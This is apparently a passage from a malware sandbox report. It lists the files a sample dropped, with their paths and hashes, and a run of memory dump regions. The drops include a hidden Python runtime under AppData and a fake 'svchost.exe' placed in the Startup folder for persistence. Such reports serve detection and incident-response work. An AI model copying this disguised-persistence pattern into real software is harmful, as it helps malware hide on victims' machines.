                      • Path C:\Users\Admin\AppData\Local\Temp\pip-unpack-zj_i9qbw\pycryptodome-3.23.0-cp37-abi3-win_amd64.whl.metadata
                      • Size 3KB
                      • SHA256 3054c7b6ca96dfa8c968571921d169f91ac8ffa63686629d512dd50aa380bff1
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      cacert.pem
                      • Path C:\Users\Admin\AppData\Local\Temp\tmp9gse9wvm\cacert.pem
                      • Size 266KB
                      • SHA256 fc9165a12403263e7ebfbdad7be7a3eac0fa5d325d3c70465f28d3690072ca28
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      pip.zip
                      • Path C:\Users\Admin\AppData\Local\Temp\tmp9gse9wvm\pip.zip
                      • Size 1.7MB
                      • SHA256 3eadb2e6563251c96c52d3913ca35fa1d38ebe09397529ca6d7ccc181a8bd326
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      tmpltnpijkl
                      • Path C:\Users\Admin\AppData\Local\Temp\tmpltnpijkl
                      • Size 128KB
                      • SHA256 9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      __init__.cpython-314.pyc
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\Lib\site-packages\pip\__pycache__\__init__.cpython-314.pyc
                      • Size 799B
                      • SHA256 44201114dcf57b6c8fa6c87329f11868be934c5e02cd0069ff3dc7d664fc7fd7
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      __main__.cpython-314.pyc
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\Lib\site-packages\pip\__pycache__\__main__.cpython-314.pyc
                      • Size 909B
                      • SHA256 6a57928049b5a1053f77bc6dba5751d2362c287a0f543f5697e65fae3c1a78b9
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      __init__.cpython-314.pyc
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\Lib\site-packages\pip\_internal\__pycache__\__init__.cpython-314.pyc
                      • Size 893B
                      • SHA256 797097ae1be23782568b3c6aa51d563bf4324c32e3e0100483d023697629c5a0
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      __init__.cpython-314.pyc
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\Lib\site-packages\pip\_internal\cli\__pycache__\__init__.cpython-314.pyc
                      • Size 276B
                      • SHA256 8301ed82c4909411734a567bd19b7312d53d35acfd0b895593b4ad733b905275
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      autocompletion.cpython-314.pyc
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\Lib\site-packages\pip\_internal\cli\__pycache__\autocompletion.cpython-314.pyc
                      • Size 10KB
                      • SHA256 f707697e49b4f5e397a8adb23f75479d2309e595c84def699c7adee5aaf3ac12
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      main.cpython-314.pyc
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\Lib\site-packages\pip\_internal\cli\__pycache__\main.cpython-314.pyc
                      • Size 2KB
                      • SHA256 e426e453a3981b944c1b61aa22f845b52be3e47d52a6809ea0e5c2f388f00609
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      __init__.cpython-314.pyc
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\Lib\site-packages\pip\_internal\utils\__pycache__\__init__.cpython-314.pyc
                      • Size 193B
                      • SHA256 16e8267d4a4839c94558885903d419affee8af4004455fb073aceff95e244398
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      _log.cpython-314.pyc
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\Lib\site-packages\pip\_internal\utils\__pycache__\_log.cpython-314.pyc
                      • Size 2KB
                      • SHA256 6875687ba9971ecc6aaac02328a0737624f75519382a34aab6c3471f9aabf670
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      INSTALLERz8ptp1vo.tmp
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\Lib\site-packages\websocket_client-1.9.0.dist-info\INSTALLERz8ptp1vo.tmp
                      • Size 4B
                      • SHA256 ceebae7b8927a3227e5303cf5e0f1f7b34bb542ad7250ac03fbcde36ec2f1508
                      • MD5 SHA1 SHA512
                      Submit Download

                      LICENSE
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\Lib\site-packages\websocket_client-1.9.0.dist-info\licenses\LICENSE
                      • Size 11KB
                      • SHA256 d7ad8d0966aa363d45c7b16b0838cadcd51676acdf215ad967307d581b47872c
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      pywin32_postinstall.py
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\Lib\site-packages\win32\scripts\pywin32_postinstall.py
                      • Size 24KB
                      • SHA256 453dd1a2020102b3148510856a2bd6925d8db15670afd70d35dda172c5d4054e
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      pywin32_testall.py
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\Lib\site-packages\win32\scripts\pywin32_testall.py
                      • Size 3KB
                      • SHA256 158be3c78ded85dbdb91669888b3135f7f51c6c14bd1cfb5a3ec58dae76506a0
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      __init__.py
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\Lib\site-packages\win32comext\bits\__init__.py
                      • Size 198B
                      • SHA256 0486114a785d3c74a9940bd828bf4d04bb90599eba7be427269895580fc00f7f
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      __init__.py
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\Lib\site-packages\win32comext\internet\__init__.py
                      • Size 139B
                      • SHA256 dd388bf3740ba9de76807a928b7552844018947d3a8555eeaa2cefce7d623d13
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      pip.exe
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\Scripts\pip.exe
                      • Size 105KB
                      • SHA256 6777d2933b45b2579911d56c6e10f860aa292b2b529bc81dfe5e316f306710b0
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      VCRUNTIME140.dll
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\VCRUNTIME140.dll
                      • Size 117KB
                      • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      VCRUNTIME140_1.dll
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\VCRUNTIME140_1.dll
                      • Size 48KB
                      • SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      _bz2.pyd
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\_bz2.pyd
                      • Size 85KB
                      • SHA256 082a761a280b08afecf6fb0509050ffbf7e87d1638ca49466b8b3eb4c85009b4
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      _ctypes.pyd
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\_ctypes.pyd
                      • Size 139KB
                      • SHA256 a11d680d89f054584e6a5b2a03103d8731def86e367aff2f70cce8c6367f9025
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      _decimal.pyd
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\_decimal.pyd
                      • Size 283KB
                      • SHA256 dcc9555eaf911af7997777b94beea78f802a10f1e4f3c3d4df2f254d44c71797
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      _hashlib.pyd
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\_hashlib.pyd
                      • Size 67KB
                      • SHA256 0c11671a2c572b4c016be263789f238125419df5711e281acdce8da50d9badda
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      _lzma.pyd
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\_lzma.pyd
                      • Size 157KB
                      • SHA256 2376cd374ce8c2c5ecf573226e563a96975599533f86a5f5eba5bdb705e341bb
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      _queue.pyd
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\_queue.pyd
                      • Size 35KB
                      • SHA256 8e75c8667f938c3e9b2e9739c09b08517b487437757f125ac400c70c7eadf270
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      _socket.pyd
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\_socket.pyd
                      • Size 85KB
                      • SHA256 42b84410269af5a5578679a3fe7b17d75d28f77a0c3c09d589adadd9d2d3e5f6
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      _ssl.pyd
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\_ssl.pyd
                      • Size 180KB
                      • SHA256 bc17486f149f7311839c70b1cda5a22e4546a9670d3136d665df95ff3cc43abd
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      _uuid.pyd
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\_uuid.pyd
                      • Size 27KB
                      • SHA256 d75d04aa989f8be9666505ac11339416719e38fc0701047388b061b4e576030a
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      _wmi.pyd
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\_wmi.pyd
                      • Size 39KB
                      • SHA256 a299a6caf7241cebb0081c3ed9e98f815c61feee3e4813c1fd32369bd3fe6f5e
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      _zstd.pyd
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\_zstd.pyd
                      • Size 491KB
                      • SHA256 8f04a54778d4f21202f1bb9cfd5d080c5c5022158016dcaaf5908f7e2350270c
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      get-pip.py
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\get-pip.py
                      • Size 2.1MB
                      • SHA256 a341e1a43e38001c551a1508a73ff23636a11970b61d901d9a1cad2a18f57055
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      libcrypto-3.dll
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\libcrypto-3.dll
                      • Size 5.0MB
                      • SHA256 e03dd02fdcfb791981c9962827cfcf495f2a47a514c1526efb57f847a9df514a
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      libffi-8.dll
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\libffi-8.dll
                      • Size 38KB
                      • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      libssl-3.dll
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\libssl-3.dll
                      • Size 776KB
                      • SHA256 1e4bc0638682bfcbb36f4465d6a2e9944d917a60f05ecc8ddf9e96847e05e13f
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      pyexpat.pyd
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\pyexpat.pyd
                      • Size 214KB
                      • SHA256 85673f29fa2f16e70fb95c1da0e53e819033a19b43964662d1e487b307d8c400
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      python.exe
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\python.exe
                      • Size 103KB
                      • SHA256 fda7026477256845afab371e354c4d512896665f1761939cb5887d0a9dec257a
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      python3.DLL
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\python3.DLL
                      • Size 72KB
                      • SHA256 28a395fb2bda5e71084478abea00da9ab1c1dfeb7c4856c258518bee9cc146f1
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      python314._pth
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\python314._pth
                      • Size 79B
                      • SHA256 e5e2f410d50987906471dc221849354947e5d8a5781234089b133285eced37a8
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      python314.dll
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\python314.dll
                      • Size 6.4MB
                      • SHA256 7ffe3ab11342db03cc18b026f27485c0f74f5bf10f239f1f6573394900596394
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      python314.zip
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\python314.zip
                      • Size 3.9MB
                      • SHA256 9557a3f32e526fb3dffe88460fef0212c953d67aeb15507720936524e82c6828
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      select.pyd
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\select.pyd
                      • Size 32KB
                      • SHA256 a0f7b2e00144794e497d11fffc14e7a968f59e207c702ca7b262b7037065b5ba
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      unicodedata.pyd
                      • Path C:\Users\Admin\AppData\Roaming\Google\python\unicodedata.pyd
                      • Size 740KB
                      • SHA256 64844c24f67e7eafb77142b4cbe4a430f4db3b16f59191586ba6596ca19fc775
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      svchost.exe
                      • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe
                      • Size 114KB
                      • SHA256 a24fefabc5af611b562a50379144d97205416c0ef3d95b666e8b166f84f96110
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      memory/420-96-0x0000023093CF0000-0x0000023093DF0000-memory.dmp
                      Download

                      memory/420-94-0x0000023083890000-0x00000230838B0000-memory.dmp
                      Download

                      memory/420-107-0x0000023083C70000-0x0000023083C90000-memory.dmp
                      Download

                      memory/420-128-0x00000230940F0000-0x0000023094110000-memory.dmp
                      Download

                      memory/420-83-0x0000023080040000-0x0000023080140000-memory.dmp
                      Download

                      memory/964-34-0x0000000005A10000-0x0000000005D6B000-memory.dmp
                      Download

                      memory/964-38-0x0000000005F20000-0x0000000005F6C000-memory.dmp
                      Download

                      memory/964-43-0x0000000074B80000-0x000000007533C000-memory.dmp
                      Download

                      memory/964-33-0x0000000074B80000-0x000000007533C000-memory.dmp
                      Download

                      memory/964-32-0x0000000074B80000-0x000000007533C000-memory.dmp
                      Download

                      memory/2844-31-0x0000000074BB0000-0x000000007536C000-memory.dmp
                      Download

                      memory/2844-11-0x0000000006270000-0x000000000628E000-memory.dmp
                      Download

                      memory/2844-1-0x0000000002DC0000-0x0000000002DF6000-memory.dmp
                      Download

                      memory/2844-2-0x0000000074BB0000-0x000000007536C000-memory.dmp
                      Download

                      memory/2844-4-0x0000000074BB0000-0x000000007536C000-memory.dmp
                      Download

                      memory/2844-3-0x00000000059C0000-0x000000000600A000-memory.dmp
                      Download

                      memory/2844-5-0x0000000005830000-0x0000000005852000-memory.dmp
                      Download

                      memory/2844-7-0x0000000005940000-0x00000000059A6000-memory.dmp
                      Download

                      memory/2844-6-0x00000000058D0000-0x0000000005936000-memory.dmp
                      Download

                      memory/2844-10-0x00000000062E0000-0x000000000663B000-memory.dmp
                      Download

                      memory/2844-12-0x0000000006640000-0x000000000668C000-memory.dmp
                      Download

                      memory/2844-0-0x0000000074BC2000-0x0000000074BC3000-memory.dmp
                      Download

                      memory/2844-29-0x0000000074BB0000-0x000000007536C000-memory.dmp
                      Download

                      memory/2844-28-0x0000000074BC2000-0x0000000074BC3000-memory.dmp
                      Download

                      memory/2844-27-0x0000000074BB0000-0x000000007536C000-memory.dmp
                      Download

                      memory/2844-26-0x0000000007B70000-0x0000000007B7A000-memory.dmp
                      Download

                      memory/2844-25-0x0000000008A30000-0x00000000090AC000-memory.dmp
                      Download

                      memory/2844-24-0x00000000079F0000-0x0000000007A93000-memory.dmp
                      Download

                      memory/2844-20-0x0000000074BB0000-0x000000007536C000-memory.dmp
                      Download

                      memory/2844-23-0x00000000079A0000-0x00000000079C0000-memory.dmp
                      Download

                      memory/2844-19-0x0000000070E00000-0x0000000070E4C000-memory.dmp
                      Download

                      memory/2844-18-0x0000000007960000-0x0000000007996000-memory.dmp
                      Download

                      memory/2844-17-0x0000000074BB0000-0x000000007536C000-memory.dmp
                      Download

                      memory/2844-16-0x0000000007DF0000-0x00000000083AA000-memory.dmp
                      Download

                      memory/2844-14-0x0000000006B40000-0x0000000006B5A000-memory.dmp
                      Download

                      memory/2844-15-0x0000000006B90000-0x0000000006BB2000-memory.dmp
                      Download

                      memory/2844-13-0x0000000007790000-0x0000000007826000-memory.dmp
                      Download

                      memory/4148-56-0x0000000008040000-0x0000000008051000-memory.dmp
                      Download

                      memory/4148-58-0x00000000080B0000-0x00000000080BA000-memory.dmp
                      Download

                      memory/4148-57-0x00000000080C0000-0x00000000080D2000-memory.dmp
                      Download

                      memory/4148-51-0x0000000070DD0000-0x0000000070E1C000-memory.dmp
                      Download

                      memory/4148-52-0x0000000071090000-0x00000000713EB000-memory.dmp
                      Download

                      memory/4148-55-0x0000000007F30000-0x0000000007FD3000-memory.dmp
                      Download

                      memory/5240-257-0x0000000007BE0000-0x0000000007BF1000-memory.dmp
                      Download

                      memory/5240-256-0x0000000007AF0000-0x0000000007B93000-memory.dmp
                      Download

                      memory/5240-253-0x0000000070DD0000-0x0000000070E1C000-memory.dmp
                      Download

                      memory/5580-250-0x000000000DE90000-0x000000000E70B000-memory.dmp
                      Download

                      memory/5580-6535-0x000000000DE90000-0x000000000E70B000-memory.dmp
                      Download